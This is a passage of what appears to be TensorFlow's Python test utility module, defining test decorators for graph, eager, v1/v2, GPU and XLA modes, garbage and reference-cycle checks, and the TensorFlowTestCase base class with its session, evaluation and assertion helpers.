Auxiliary structure that maps object IDs to their human-readable description. blacklist: List of objects to ignore. """ referrers = gc.get_referrers(obj) blacklist = blacklist + (referrers,) obj_id = id(obj) for r in referrers: if get_ignore_reason(r, blacklist) is None: r_id = id(r) if r_id not in graph: graph[r_id] = [] if obj_id not in graph[r_id]: graph[r_id].append(obj_id) build_ref_graph(r, graph, reprs, blacklist) reprs[r_id] = describe(r, blacklist) def find_cycle(el, graph, reprs, path): """Finds and prints a single cycle in the dependency graph.""" if el not in graph: return for r in graph[el]: if r in path: logging.error("Reference cycle sample:") for p in path + (r,): logging.error(reprs.get(p, "unknown object " + str(p))) return True else: if find_cycle(r, graph, reprs, path + (r,)): return True return False obj = objects[idx] graph = {} # referrer ID -> object ID reprs = {} # object ID -> description build_ref_graph(obj, graph, reprs, (objects, graph, reprs, get_ignore_reason, describe, build_ref_graph, find_cycle)) for k in graph: if find_cycle(k, graph, reprs, ()): return True return False def assert_no_garbage_created(f): """Test method decorator to assert that no garbage has been created. Note that this decorator sets DEBUG_SAVEALL, which in some Python interpreters cannot be un-set (i.e. will disable garbage collection for any other unit tests in the same file/shard). Args: f: The function to decorate. Returns: The decorated function. """ def decorator(self, **kwargs): """Sets DEBUG_SAVEALL, runs the test, and checks for new garbage.""" # Force-load `distribution_strategy_context` to prevent GC at # test time when using eager. Remove once b/117329403 is resolved. tape.distribution_strategy_context.get_strategy() gc.disable() previous_debug_flags = gc.get_debug() gc.set_debug(gc.DEBUG_SAVEALL) gc.collect() previous_garbage = len(gc.garbage) result = f(self, **kwargs) gc.collect() new_garbage = len(gc.garbage) if new_garbage > previous_garbage: logging.error( "The decorated test created work for Python's garbage collector, " "likely due to a reference cycle. New objects in cycle(s):") for i, obj in enumerate(gc.garbage[previous_garbage:]): try: logging.error("Object %d of %d", i, len(gc.garbage) - previous_garbage) def _safe_object_str(obj): return "<%s %d>" % (obj.__class__.__name__, id(obj)) logging.error(" Object type: %s", _safe_object_str(obj)) logging.error( " Referrer types: %s", ", ".join( [_safe_object_str(ref) for ref in gc.get_referrers(obj)])) logging.error( " Referent types: %s", ", ".join( [_safe_object_str(ref) for ref in gc.get_referents(obj)])) logging.error(" Object attribute names: %s", dir(obj)) logging.error(" Object __str__:") logging.error(obj) logging.error(" Object __repr__:") logging.error(repr(obj)) except Exception: # pylint: disable=broad-except logging.error("(Exception while printing object)") # When garbage is created, this call can help identify reference cycles, # which are typically the cause of such garbage. if new_garbage > previous_garbage: for i in range(previous_garbage, new_garbage): if _find_reference_cycle(gc.garbage, i): break # This will fail if any garbage has been created, typically because of a # reference cycle. self.assertEqual(previous_garbage, new_garbage) # TODO(allenl): Figure out why this debug flag reset doesn't work. It would # be nice to be able to decorate arbitrary tests in a large test suite and # not hold on to every object in other tests. gc.set_debug(previous_debug_flags) gc.enable() return result return decorator def _combine_named_parameters(**kwargs): """Generate combinations based on its keyword arguments. Two sets of returned combinations can be concatenated using +. Their product can be computed using `times()`. Args: **kwargs: keyword arguments of form `option=[possibilities, ...]` or `option=the_only_possibility`. Returns: a list of dictionaries for each combination. Keys in the dictionaries are the keyword argument names. Each key has one value - one of the corresponding keyword argument values. """ if not kwargs: return [OrderedDict()] sort_by_key = lambda k: k[0][0] kwargs = OrderedDict(sorted(kwargs.items(), key=sort_by_key)) first = list(kwargs.items())[0] rest = dict(list(kwargs.items())[1:]) rest_combined = _combine_named_parameters(**rest) key = first[0] values = first[1] if not isinstance(values, list): values = [values] combinations = [ OrderedDict(sorted(list(combined.items()) + [(key, v)], key=sort_by_key)) for v in values for combined in rest_combined ] return combinations def generate_combinations_with_testcase_name(**kwargs): """Generate combinations based on its keyword arguments using combine(). This function calls combine() and appends a testcase name to the list of dictionaries returned. The 'testcase_name' key is a required for named parameterized tests. Args: **kwargs: keyword arguments of form `option=[possibilities, ...]` or `option=the_only_possibility`. Returns: a list of dictionaries for each combination. Keys in the dictionaries are the keyword argument names. Each key has one value - one of the corresponding keyword argument values. """ combinations = _combine_named_parameters(**kwargs) named_combinations = [] for combination in combinations: assert isinstance(combination, OrderedDict) name = "".join([ "_{}_{}".format("".join(filter(str.isalnum, key)), "".join(filter(str.isalnum, str(value)))) for key, value in combination.items() ]) named_combinations.append( OrderedDict( list(combination.items()) + [("testcase_name", "_test{}".format(name))])) return named_combinations def run_all_in_graph_and_eager_modes(cls): """Execute all test methods in the given class with and without eager.""" base_decorator = run_in_graph_and_eager_modes for name in dir(cls): if (not name.startswith(unittest.TestLoader.testMethodPrefix) or name.startswith("testSkipEager") or name.startswith("test_skip_eager") or name == "test_session"): continue value = getattr(cls, name, None) if callable(value): setattr(cls, name, base_decorator(value)) return cls def build_as_function_and_v1_graph(func=None): """Run a test case in v1 graph mode and inside tf.function in eager mode. WARNING: This decorator can only be used in test cases that statically checks generated graph. Attempting to evaluate graph or function results via. session.run() or self.evaluate() will fail. WARNING: This decorator can only be used for test cases that inherit from absl.testing.parameterized.TestCase. Args: func: Test case function to be decorated. Returns: Decorated test case function. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError( "`run_in_graph_mode_and_function` only supports test methods.") @parameterized.named_parameters(("_v1_graph", "v1_graph"), ("_function", "function")) @functools.wraps(f) def decorated(self, run_mode, *args, **kwargs): if run_mode == "v1_graph": with ops.Graph().as_default(): f(self, *args, **kwargs) elif run_mode == "function": @def_function.function def function_in_eager(): f(self, *args, **kwargs) # Create a new graph for the eagerly executed version of this test for # better isolation. graph_for_eager_test = ops.Graph() with graph_for_eager_test.as_default(), context.eager_mode(): function_in_eager() ops.dismantle_graph(graph_for_eager_test) else: return ValueError("Unknown run mode %s" % run_mode) return decorated if func is not None: return decorator(func) return decorator def run_in_graph_and_eager_modes(func=None, config=None, use_gpu=True, reset_test=True, assert_no_eager_garbage=False): """Execute the decorated test with and without enabling eager execution. This function returns a decorator intended to be applied to test methods in a `tf.test.TestCase` class. Doing so will cause the contents of the test method to be executed twice - once normally, and once with eager execution enabled. This allows unittests to confirm the equivalence between eager and graph execution (see `tf.compat.v1.enable_eager_execution`). For example, consider the following unittest: ```python class MyTests(tf.test.TestCase): @run_in_graph_and_eager_modes def test_foo(self): x = tf.constant([1, 2]) y = tf.constant([3, 4]) z = tf.add(x, y) self.assertAllEqual([4, 6], self.evaluate(z)) if __name__ == "__main__": tf.test.main() ``` This test validates that `tf.add()` has the same behavior when computed with eager execution enabled as it does when constructing a TensorFlow graph and executing the `z` tensor in a session. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. config: An optional config_pb2.ConfigProto to use to configure the session when executing graphs. use_gpu: If True, attempt to run as many operations as possible on GPU. reset_test: If True, tearDown and SetUp the test case between the two executions of the test (once with and once without eager execution). assert_no_eager_garbage: If True, sets DEBUG_SAVEALL on the garbage collector and asserts that no extra garbage has been created when running the test with eager execution enabled. This will fail if there are reference cycles (e.g. a = []; a.append(a)). Off by default because some tests may create garbage for legitimate reasons (e.g. they define a class which inherits from `object`), and because DEBUG_SAVEALL is sticky in some Python interpreters (meaning that tests which rely on objects being collected elsewhere in the unit test file will not work). Additionally, checks that nothing still has a reference to Tensors that the test allocated. Returns: Returns a decorator that will run the decorated test method twice: once by constructing and executing a graph in a session and once with eager execution enabled. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError( "`run_in_graph_and_eager_modes` only supports test methods. " "Did you mean to use `run_all_in_graph_and_eager_modes`?") def decorated(self, *args, **kwargs): try: with context.graph_mode(): with self.test_session(use_gpu=use_gpu, config=config): f(self, *args, **kwargs) except unittest.case.SkipTest: pass def run_eagerly(self, **kwargs): if not use_gpu: with ops.device("/device:CPU:0"): f(self, *args, **kwargs) else: f(self, *args, **kwargs) if assert_no_eager_garbage: ops.reset_default_graph() run_eagerly = assert_no_new_tensors( assert_no_garbage_created(run_eagerly)) if reset_test: # This decorator runs the wrapped test twice. # Reset the test environment between runs. self.tearDown() self._tempdir = None # Create a new graph for the eagerly executed version of this test for # better isolation. graph_for_eager_test = ops.Graph() with graph_for_eager_test.as_default(), context.eager_mode(): if reset_test: self.setUp() run_eagerly(self, **kwargs) ops.dismantle_graph(graph_for_eager_test) return decorated if func is not None: return decorator(func) return decorator def py_func_if_in_function(f): def decorated(*args, **kwds): if not ops.get_default_graph()._building_function: return f(*args, **kwds) tensor_args = [] tensor_indices = [] for i, arg in enumerate(args): if isinstance(arg, (ops.Tensor, variables.Variable)): tensor_args.append(arg) tensor_indices.append(i) def inner_f(*inner_tensor_args): my_args = list(args) for i, n in zip(tensor_indices, inner_tensor_args): my_args[i] = n return f(*my_args, **kwds) return script_ops.py_func(inner_f, tensor_args, []) return tf_decorator.make_decorator(f, decorated) def also_run_as_tf_function(f): """Runs the decorated test twice--once as is, once inside a tf.function. This allows you to run a test both in eager execution and inside a tf.function, exercising the two execution modes supported in tf 2.0. The test assertions are automatically done inside tf.py_funcs, and tf.function ensures that they run in the proper order and with the proper side effects. Currently variable creation is not supported in tests annotated with this decorator since it's tricky to ensure the variable doesn't get repeatedly created when retracing the tf.function. Args: f: the test method to be decorated Returns: The decorated test method, which will run both in eager and inside a tf.function. """ def decorated(*args, **kwds): def bound_f(): f(*args, **kwds) with context.eager_mode(): # Running in eager mode bound_f() # Running as TF function # TODO(b/121143941): Remove the autograph override. def_function.function(bound_f, autograph=False)() return decorated def deprecated_graph_mode_only(func=None): """Execute the decorated test in graph mode. This function returns a decorator intended to be applied to tests that are not compatible with eager mode. When this decorator is applied, the test body will be run in an environment where API calls construct graphs instead of executing eagerly. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will run the decorated test method in graph mode. """ def decorator(f): if tf_inspect.isclass(f): setup = f.__dict__.get("setUp") if setup is not None: setattr(f, "setUp", decorator(setup)) for name, value in f.__dict__.copy().items(): if (callable(value) and name.startswith(unittest.TestLoader.testMethodPrefix)): setattr(f, name, decorator(value)) return f def decorated(self, *args, **kwargs): if context.executing_eagerly(): with context.graph_mode(): return f(self, *args, **kwargs) else: return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator run_deprecated_v1 = deprecated_graph_mode_only def run_all_in_deprecated_graph_mode_only(cls): """Execute all tests in a class in graph mode.""" base_decorator = deprecated_graph_mode_only for name in dir(cls): if (not name.startswith(unittest.TestLoader.testMethodPrefix) or name == "test_session"): continue value = getattr(cls, name, None) if callable(value): setattr(cls, name, base_decorator(value)) return cls def run_v1_only(reason, func=None): """Execute the decorated test only if running in v1 mode. This function is intended to be applied to tests that exercise v1 only functionality. If the test is run in v2 mode it will simply be skipped. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: reason: string giving a reason for limiting the test to v1 only. func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ if not isinstance(reason, str): raise ValueError("'reason' should be string, got {}".format(type(reason))) def decorator(f): if tf_inspect.isclass(f): # To skip an entire test suite class, we only decorate the setUp method # to skip all tests. There are cases when setUp is not defined (not # overridden in subclasses of TestCase, so not available in f.__dict__ # below). For those cases, we walk the method resolution order list and # pick the first setUp method we find (usually this should be the one in # the parent class since that's the TestCase class). for cls in type.mro(f): setup = cls.__dict__.get("setUp") if setup is not None: setattr(f, "setUp", decorator(setup)) break return f else: # If f is just a function, just create a decorator for it and return it def decorated(self, *args, **kwargs): if tf2.enabled(): self.skipTest(reason) return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_v2_only(func=None): """Execute the decorated test only if running in v2 mode. This function is intended to be applied to tests that exercise v2 only functionality. If the test is run in v1 mode it will simply be skipped. `deprecated_graph_mode_only`, `run_v1_only`, `run_v2_only`, and `run_in_graph_and_eager_modes` are available decorators for different v1/v2/eager/graph combinations. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_v2_only` only supports test methods.") def decorated(self, *args, **kwargs): if not tf2.enabled(): self.skipTest("Test is only compatible with v2") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_gpu_only(func=None): """Execute the decorated test only if a GPU is available. This function is intended to be applied to tests that require the presence of a GPU. If a GPU is absent, it will simply be skipped. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_gpu_only` only supports test methods.") def decorated(self, *args, **kwargs): if not is_gpu_available(): self.skipTest("Test requires GPU") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def run_cuda_only(func=None): """Execute the decorated test only if a GPU is available. This function is intended to be applied to tests that require the precense of a CUDA GPU. If a CUDA GPU is absent, it will simply be skipped. Args: func: function to be annotated. If `func` is None, this method returns a decorator the can be applied to a function. If `func` is not None this returns the decorator applied to `func`. Returns: Returns a decorator that will conditionally skip the decorated test method. """ def decorator(f): if tf_inspect.isclass(f): raise ValueError("`run_cuda_only` only supports test methods.") def decorated(self, *args, **kwargs): if not is_gpu_available(cuda_only=True): self.skipTest("Test requires CUDA GPU") return f(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator def with_forward_compatibility_horizons(*horizons): """Executes the decorated test with the specified forward-compat horizons. Args: *horizons: A list of (year, month, day) tuples. If the list includes `None`, then the test will also be run with no forward-compatibility horizon set. Returns: A decorator that will execute the test with the specified horizons. """ if not horizons: raise ValueError("Expected at least one horizon.") for horizon in horizons: if not ((horizon is None) or (len(horizon) == 3 and all(isinstance(x, int) for x in horizon))): raise ValueError("Bad horizon value: %r" % horizon) def decorator(f): if tf_inspect.isclass(f): raise ValueError("`with_forward_compatibility_horizons` only " "supports test methods.") def decorated(self, *args, **kwargs): for horizon in horizons: if horizon is None: f(self, *args, **kwargs) else: (year, month, day) = horizon with forward_compatibility_horizon(year, month, day): f(self, *args, **kwargs) return decorated return decorator @deprecation.deprecated(None, "Use `tf.config.list_physical_devices('GPU')` instead.") @tf_export("test.is_gpu_available") def is_gpu_available(cuda_only=False, min_cuda_compute_capability=None): """Returns whether TensorFlow can access a GPU. Warning: if a non-GPU version of the package is installed, the function would also return False. Use `tf.test.is_built_with_cuda` to validate if TensorFlow was build with CUDA support. Args: cuda_only: limit the search to CUDA GPUs. min_cuda_compute_capability: a (major,minor) pair that indicates the minimum CUDA compute capability required, or None if no requirement. Note that the keyword arg name "cuda_only" is misleading (since routine will return true when a GPU device is available irrespective of whether TF was built with CUDA support or ROCm support. However no changes here because ++ Changing the name "cuda_only" to something more generic would break backward compatibility ++ Adding an equivalent "rocm_only" would require the implementation check the build type. This in turn would require doing the same for CUDA and thus potentially break backward compatibility ++ Adding a new "cuda_or_rocm_only" would not break backward compatibility, but would require most (if not all) callers to update the call to use "cuda_or_rocm_only" instead of "cuda_only" Returns: True if a GPU device of the requested kind is available. """ def compute_capability_from_device_desc(device_desc): # TODO(jingyue): The device description generator has to be in sync with # this file. Another option is to put compute capability in # DeviceAttributes, but I avoided that to keep DeviceAttributes # target-independent. Reconsider this option when we have more things like # this to keep in sync. # LINT.IfChange match = re.search(r"compute capability: (\d+)\.(\d+)", device_desc) # LINT.ThenChange(//tensorflow/core/\ # common_runtime/gpu/gpu_device.cc) if not match: return 0, 0 return int(match.group(1)), int(match.group(2)) try: for local_device in device_lib.list_local_devices(): if local_device.device_type == "GPU": if (min_cuda_compute_capability is None or compute_capability_from_device_desc( local_device.physical_device_desc) >= min_cuda_compute_capability): return True if local_device.device_type == "SYCL" and not cuda_only: return True return False except errors_impl.NotFoundError as e: if not all(x in str(e) for x in ["CUDA", "not find"]): raise e else: logging.error(str(e)) return False @contextlib.contextmanager def device(use_gpu): """Uses gpu when requested and available.""" if use_gpu and is_gpu_available(): dev = "/device:GPU:0" else: dev = "/device:CPU:0" with ops.device(dev): yield @contextlib.contextmanager def use_gpu(): """Uses gpu when requested and available.""" with device(use_gpu=True): yield @contextlib.contextmanager def force_gpu(): """Force the gpu to be used.""" with ops.device("/device:GPU:0"): yield @contextlib.contextmanager def force_cpu(): """Force the cpu to be used.""" with ops.device("/device:CPU:0"): yield class CapturedWrites(object): """A utility class to load the captured writes made to a stream.""" def __init__(self, capture_location): self.capture_location = capture_location def contents(self): """Get the captured writes as a single string.""" with open(self.capture_location) as tmp_file: output_data = "".join(tmp_file.readlines()) return output_data class FakeEagerSession(object): """Fake session so tests that conditionally use placeholders can use eager. There are a number of tests that conditionally use placeholders for shape inference. The pattern is demonstrated here: ```python with self.cached_session() as sess: if static_shape: y = math_ops.matmul(x, ...) feed_dict = {} else: x_ph = array_ops.placeholder(...) y = math_ops.matmul(x_ph, ...) feed_dict = {x_ph: x} val = sess.run(y, feed_dict=feed_dict) ``` Since the feed_dict is empty when not using placeholders we should be able to call self.evaluate(), however this requires rewriting the test case. This class should be considered a stop-gap solution to get tests running with eager with minimal changes to the actual test. """ def __init__(self, test_case): self._test_case = test_case def run(self, fetches, *args, **kwargs): """Evalaute `fetches`. Fail if additional args are specified. Args: fetches: A Tensor or a nested list/tuple of Tensors. *args: Positional arguments **kwargs: Keyword arguments Raises: RuntimeError: If args or kwargs are specified. Returns: Tensors as numpy values. """ feed_dict = kwargs.pop("feed_dict", {}) if feed_dict: raise RuntimeError( "feed_dict is not supported when eager execution is enabled " "(in this case, sess.run(t) is shorthand for t.numpy()") if args or kwargs: raise RuntimeError( "Optional args are not supported when eager execution is enabled " "(in this case, sess.run(t) is shorthand for t.numpy()") return self._test_case.evaluate(fetches) class ErrorLoggingSession(session.Session): """Wrapper around a Session that logs errors in run().""" def run(self, *args, **kwargs): try: return super(ErrorLoggingSession, self).run(*args, **kwargs) except Exception as e: # pylint: disable=broad-except # Note: disable the logging for OutOfRangeError, which makes the output # of tf.data tests hard to read, because OutOfRangeError is used as the # signal completion if not isinstance(e, errors.OutOfRangeError): logging.error(str(e)) raise def use_deterministic_cudnn(func): """Disable autotuning during the call to this function. Some tests want to base assertions on a graph being isomorphic with a copy. To ensure this, this decorator disables autotuning. Args: func: Function to run with CUDNN autotuning turned off. Returns: Decorated function. """ def decorator(f): def decorated(self, *args, **kwargs): original_var = os.environ.get("TF_CUDNN_DETERMINISTIC", "") os.environ["TF_CUDNN_DETERMINISTIC"] = "true" result = f(self, *args, **kwargs) os.environ["TF_CUDNN_DETERMINISTIC"] = original_var return result return decorated if func is not None: return decorator(func) return decorator # The description is just for documentation purposes. def enable_tf_xla_constant_folding(description): if not isinstance(description, str): raise ValueError("'description' should be string, got {}".format( type(description))) def enable_tf_xla_constant_folding_impl(func): """Enable constant folding during the call to this function. Some tests fail without constant folding. Args: func: Function to run with constant folding turned on. Returns: Decorated function. """ def decorator(f): def decorated(self, *args, **kwargs): original_var = pywrap_tensorflow.TF_GetXlaConstantFoldingDisabled() pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(False) result = f(self, *args, **kwargs) pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(original_var) return result return decorated if func is not None: return decorator(func) return decorator return enable_tf_xla_constant_folding_impl # The description is just for documentation purposes. def disable_xla(description): def disable_xla_impl(func): """Execute the test method only if xla is not enabled.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): return else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return disable_xla_impl def for_all_test_methods(decorator, *args, **kwargs): """Generate class-level decorator from given method-level decorator. It is expected for the given decorator to take some arguments and return a method that is then called on the test method to produce a decorated method. Args: decorator: The decorator to apply. *args: Positional arguments **kwargs: Keyword arguments Returns: Function that will decorate a given classes test methods with the decorator. """ def all_test_methods_impl(cls): """Apply decorator to all test methods in class.""" for name in dir(cls): value = getattr(cls, name) if callable(value) and name.startswith( "test") and (name != "test_session"): setattr(cls, name, decorator(*args, **kwargs)(value)) return cls return all_test_methods_impl # The description is just for documentation purposes. def no_xla_auto_jit(description): # pylint: disable=unused-argument def no_xla_auto_jit_impl(func): """This test is not intended to be run with XLA auto jit enabled.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): # Skip test if using XLA is forced. return else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return no_xla_auto_jit_impl # The description is just for documentation purposes. def xla_allow_fallback(description): # pylint: disable=unused-argument def xla_allow_fallback_impl(func): """Allow fallback to TF even though testing xla.""" def decorator(func): def decorated(self, *args, **kwargs): if is_xla_enabled(): # Update the global XLABuildOpsPassFlags to enable lazy compilation, # which allows the compiler to fall back to TF classic. Remember the # old value so that we can reset it. old_value = pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(True) result = func(self, *args, **kwargs) pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(old_value) return result else: return func(self, *args, **kwargs) return decorated if func is not None: return decorator(func) return decorator return xla_allow_fallback_impl class EagerSessionWarner(object): def __getattr__(self, attr): raise AttributeError( "Trying to access properties or call methods on the result of " "self.session(), self.cached_session(), etc while eager execution " "is enabled. If you're porting this test case to TF 2.0, either " "adapt the test to work with eager execution or insert a call to " "tf.disable_eager_execution() in the main() function of this test " "file.") @tf_export("test.TestCase") class TensorFlowTestCase(googletest.TestCase): """Base class for tests that need to test TensorFlow.""" def __init__(self, methodName="runTest"): # pylint: disable=invalid-name super(TensorFlowTestCase, self).__init__(methodName) if is_xla_enabled(): pywrap_tensorflow.TF_SetXlaAutoJitMode("2") pywrap_tensorflow.TF_SetXlaMinClusterSize(1) pywrap_tensorflow.TF_SetXlaEnableLazyCompilation(False) pywrap_tensorflow.TF_SetTfXlaCpuGlobalJit(True) # Constant folding secretly runs code on TF:Classic CPU, so we also # disable it here. pywrap_tensorflow.TF_SetXlaConstantFoldingDisabled(True) self._threads = [] self._tempdir = None self._cached_session = None def setUp(self): self._ClearCachedSession() random.seed(random_seed.DEFAULT_GRAPH_SEED) np.random.seed(random_seed.DEFAULT_GRAPH_SEED) # Note: The following line is necessary because some test methods may error # out from within nested graph contexts (e.g., via assertRaises and # assertRaisesRegexp), which may leave ops._default_graph_stack non-empty # under certain versions of Python. That would cause # ops.reset_default_graph() to throw an exception if the stack were not # cleared first. ops._default_graph_stack.reset() # pylint: disable=protected-access ops.reset_default_graph() random_seed.set_random_seed(random_seed.DEFAULT_GRAPH_SEED) # Reset summary writer in case another test used set_as_default() with their # summary writer. summary_state = summary_ops_v2._summary_state # pylint: disable=protected-access summary_state.writer = None # Avoiding calling setUp() for the poorly named test_session method. if self.id().endswith(".test_session"): self.skipTest("Not a test.") def tearDown(self): for thread in self._threads: thread.check_termination() self._ClearCachedSession() def _ClearCachedSession(self): if self._cached_session is not None: self._cached_session.close() self._cached_session = None def get_temp_dir(self): """Returns a unique temporary directory for the test to use. If you call this method multiple times during in a test, it will return the same folder. However, across different runs the directories will be different. This will ensure that across different runs tests will not be able to pollute each others environment. If you need multiple unique directories within a single test, you should use tempfile.mkdtemp as follows: tempfile.mkdtemp(dir=self.get_temp_dir()): Returns: string, the path to the unique temporary directory created for this test. """ if not self._tempdir: self._tempdir = tempfile.mkdtemp(dir=googletest.GetTempDir()) return self._tempdir @contextlib.contextmanager def captureWritesToStream(self, stream): """A context manager that captures the writes to a given stream. This context manager captures all writes to a given stream inside of a `CapturedWrites` object. When this context manager is created, it yields the `CapturedWrites` object. The captured contents can be accessed by calling `.contents()` on the `CapturedWrites`. For this function to work, the stream must have a file descriptor that can be modified using `os.dup` and `os.dup2`, and the stream must support a `.flush()` method. The default python sys.stdout and sys.stderr are examples of this. Note that this does not work in Colab or Jupyter notebooks, because those use alternate stdout streams. Example: ```python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): input = [1.0, 2.0, 3.0, 4.0, 5.0] with self.captureWritesToStream(sys.stdout) as captured: result = MyOperator(input).eval() self.assertStartsWith(captured.contents(), "This was printed.") ``` Args: stream: The stream whose writes should be captured. This stream must have a file descriptor, support writing via using that file descriptor, and must have a `.flush()` method. Yields: A `CapturedWrites` object that contains all writes to the specified stream made during this context. """ stream.flush() fd = stream.fileno() tmp_file_path = tempfile.mktemp(dir=self.get_temp_dir()) tmp_file = open(tmp_file_path, "w") orig_fd = os.dup(fd) os.dup2(tmp_file.fileno(), fd) try: yield CapturedWrites(tmp_file_path) finally: tmp_file.close() os.dup2(orig_fd, fd) def _AssertProtoEquals(self, a, b, msg=None): """Asserts that a and b are the same proto. Uses ProtoEq() first, as it returns correct results for floating point attributes, and then use assertProtoEqual() in case of failure as it provides good error messages. Args: a: a proto. b: another proto. msg: Optional message to report on failure. """ if not compare.ProtoEq(a, b): compare.assertProtoEqual(self, a, b, normalize_numbers=True, msg=msg) def assertProtoEquals(self, expected_message_maybe_ascii, message, msg=None): """Asserts that message is same as parsed expected_message_ascii. Creates another prototype of message, reads the ascii message into it and then compares them using self._AssertProtoEqual(). Args: expected_message_maybe_ascii: proto message in original or ascii form. message: the message to validate. msg: Optional message to report on failure. """ msg = msg if msg else "" if isinstance(expected_message_maybe_ascii, type(message)): expected_message = expected_message_maybe_ascii self._AssertProtoEquals(expected_message, message) elif isinstance(expected_message_maybe_ascii, str): expected_message = type(message)() text_format.Merge( expected_message_maybe_ascii, expected_message, descriptor_pool=descriptor_pool.Default()) self._AssertProtoEquals(expected_message, message, msg=msg) else: assert False, ("Can't compare protos of type %s and %s. %s" % (type(expected_message_maybe_ascii), type(message), msg)) def assertProtoEqualsVersion( self, expected, actual, producer=versions.GRAPH_DEF_VERSION, min_consumer=versions.GRAPH_DEF_VERSION_MIN_CONSUMER, msg=None): expected = "versions { producer: %d min_consumer: %d };\n%s" % ( producer, min_consumer, expected) self.assertProtoEquals(expected, actual, msg=msg) def assertStartsWith(self, actual, expected_start, msg=None): """Assert that actual.startswith(expected_start) is True. Args: actual: str expected_start: str msg: Optional message to report on failure. """ if not actual.startswith(expected_start): fail_msg = "%r does not start with %r" % (actual, expected_start) fail_msg += " : %r" % (msg) if msg else "" self.fail(fail_msg) def _eval_tensor(self, tensor): if tensor is None: return None elif callable(tensor): return self._eval_helper(tensor()) else: try: if sparse_tensor.is_sparse(tensor): return sparse_tensor.SparseTensorValue(tensor.indices.numpy(), tensor.values.numpy(), tensor.dense_shape.numpy()) elif ragged_tensor.is_ragged(tensor): return ragged_tensor_value.RaggedTensorValue( self._eval_tensor(tensor.values), self._eval_tensor(tensor.row_splits)) elif isinstance(tensor, ops.IndexedSlices): return ops.IndexedSlicesValue( values=tensor.values.numpy(), indices=tensor.indices.numpy(), dense_shape=tensor.dense_shape.numpy()) return tensor.numpy() except AttributeError as e: six.raise_from(ValueError("Unsupported type %s." % type(tensor)), e) def _eval_helper(self, tensors): if tensors is None: return None return nest.map_structure(self._eval_tensor, tensors) def evaluate(self, tensors): """Evaluates tensors and returns numpy values. Args: tensors: A Tensor or a nested list/tuple of Tensors. Returns: tensors numpy values. """ if context.executing_eagerly(): return self._eval_helper(tensors) else: sess = ops.get_default_session() if sess is None: with self.test_session() as sess: return sess.run(tensors) else: return sess.run(tensors) # pylint: disable=g-doc-return-or-yield @contextlib.contextmanager def session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. Note that this will set this session and the graph as global defaults. Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/device:GPU:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: ``` python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.session(use_gpu=True): valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() ``` Args: graph: Optional graph to use during the returned session. config: An optional config_pb2.ConfigProto to use to configure the session. use_gpu: If True, attempt to run as many ops as possible on GPU. force_gpu: If True, pin all ops to `/device:GPU:0`. Yields: A Session object that should be used as a context manager to surround the graph building and execution code in a test case. """ if context.executing_eagerly(): yield EagerSessionWarner() else: with self._create_session(graph, config, force_gpu) as sess: with self._constrain_devices_and_set_default(sess, use_gpu, force_gpu): yield sess @contextlib.contextmanager def cached_session(self, graph=None, config=None, use_gpu=False, force_gpu=False): """Returns a TensorFlow Session for use in executing tests. This method behaves differently than self.session(): for performance reasons `cached_session` will by default reuse the same session within the same test. The session returned by this function will only be closed at the end of the test (in the TearDown function). Use the `use_gpu` and `force_gpu` options to control where ops are run. If `force_gpu` is True, all ops are pinned to `/device:GPU:0`. Otherwise, if `use_gpu` is True, TensorFlow tries to run as many ops on the GPU as possible. If both `force_gpu and `use_gpu` are False, all ops are pinned to the CPU. Example: ```python class MyOperatorTest(test_util.TensorFlowTestCase): def testMyOperator(self): with self.cached_session(use_gpu=True) as sess: valid_input = [1.0, 2.0, 3.0, 4.0, 5.0] result = MyOperator(valid_input).eval() self.assertEqual(result, [1.0, 2.0, 3.0, 5.0, 8.0] invalid_input = [-1.0, 2.0, 7.0] with self.assertRaisesOpError("negative input not supported"): MyOperator(invalid_input).eval() ``` Args: graph: Optional 